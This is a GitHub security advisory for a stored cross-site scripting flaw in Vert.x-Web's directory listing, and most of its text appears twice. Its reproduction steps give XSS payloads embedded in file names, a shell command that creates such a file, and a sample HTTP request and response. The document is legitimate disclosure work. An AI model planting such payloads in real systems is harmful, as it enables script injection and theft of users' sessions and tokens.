Headline
GHSA-45p5-v273-3qqr: Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names
Description
- In the
StaticHandlerImpl#sendDirectoryListing(...)
method under thetext/html
branch, file and directory names are directly embedded into thehref
,title
, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File:
vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
- Lines:
- 709–713:
normalizedDir
is constructed without escaping - 714–731:
<li><a ...>
elements insert file names directly into attributes and body without escaping - 744: parent directory name construction
- 746–751:
{directory}
,{parent}
, and{files}
are inserted into the HTML template without escaping
- 709–713:
- File:
Reproduction Steps
Prerequisites:
- Directory listing is enabled using
StaticHandler
(e.g.,StaticHandler.create("public").setDirectoryListing(true)
) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using
Create a malicious file name (example for Unix-based OS):
- Create an empty file in
public/
with one of the following names:<img src=x onerror=alert('XSS')>.txt
- Or attribute injection:
evil" onmouseover="alert('XSS')".txt
- Example:
mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
- Create an empty file in
Start the server (example):
- Routing:
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
- Server:
vertx.createHttpServer().requestHandler(router).listen(8890);
- Routing:
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close
Example response excerpt:
<ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul>
- When accessing
/public/
in a browser, the unescaped file name is interpreted as HTML, and event handlers such asonerror
are executed.
Potential Impact
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
- GitHub Advisory Database
- GitHub Reviewed
- CVE-2025-11966
Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names
Low severity GitHub Reviewed Published Oct 22, 2025 in vert-x3/vertx-web • Updated Oct 22, 2025
Package
maven io.vertx:vertx-web (Maven)
Affected versions
< 4.5.22
>= 5.0.0, <= 5.0.4
Patched versions
4.5.22
5.0.5
Description
- In the StaticHandlerImpl#sendDirectoryListing(…) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.
- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
- Lines:
- 709–713: normalizedDir is constructed without escaping
- 714–731: <li><a …> elements insert file names directly into attributes and body without escaping
- 744: parent directory name construction
- 746–751: {directory}, {parent}, and {files} are inserted into the HTML template without escaping
Reproduction Steps
Prerequisites:
- Directory listing is enabled using StaticHandler
(e.g., StaticHandler.create(“public”).setDirectoryListing(true)) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using StaticHandler
Create a malicious file name (example for Unix-based OS):
Create an empty file in public/ with one of the following names:
- <img src=x onerror=alert(‘XSS’)>.txt
- Or attribute injection: evil" onmouseover="alert(‘XSS’)".txt
Example:
mkdir -p public printf ‘test’ > “public/<img src=x onerror=alert(‘XSS’)>.txt”
Start the server (example):
- Routing: router.route(“/public/*”).handler(StaticHandler.create(“public”).setDirectoryListing(true));
- Server: vertx.createHttpServer().requestHandler(router).listen(8890);
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close
Example response excerpt:
<ul id="files"> <li> <a href="/public/<img src=x onerror=alert(‘XSS’)>.txt" title="<img src=x onerror=alert(‘XSS’)>.txt"> <img src=x onerror=alert(‘XSS’)>.txt </a> </li> … </ul>
- When accessing /public/ in a browser, the unescaped file name is interpreted as HTML, and event handlers such as onerror are executed.
Potential Impact
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
References
- GHSA-45p5-v273-3qqr
- https://nvd.nist.gov/vuln/detail/CVE-2025-11966
- https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303
Published to the GitHub Advisory Database
Oct 22, 2025
Last updated
Oct 22, 2025